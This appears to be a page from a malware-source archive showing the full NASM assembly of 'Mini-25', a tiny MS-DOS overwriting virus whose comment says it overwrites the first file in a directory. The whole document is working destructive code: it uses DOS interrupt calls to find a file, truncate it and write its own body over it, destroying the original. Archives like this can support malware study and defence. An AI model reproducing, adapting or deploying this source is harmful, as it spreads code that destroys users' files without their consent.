MalwareSourceCode/MSDOS/O-Index/Virus.MSDOS.Unknown.ow10.asm

21 lines
400 B
NASM
Raw Normal View History

2022-08-21 09:07:57 +00:00
;
; Mini-25
;
; Overwrites the first file in a directory
FNAM Equ 09eh
Db '*.*',0
Main: Mov Ah,4eh
Mov Dx,Cx
Int 21h
Mov Ah,3ch
Lea Dx,FNAM
On2: Int 21h
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp On2
Length Equ $-Main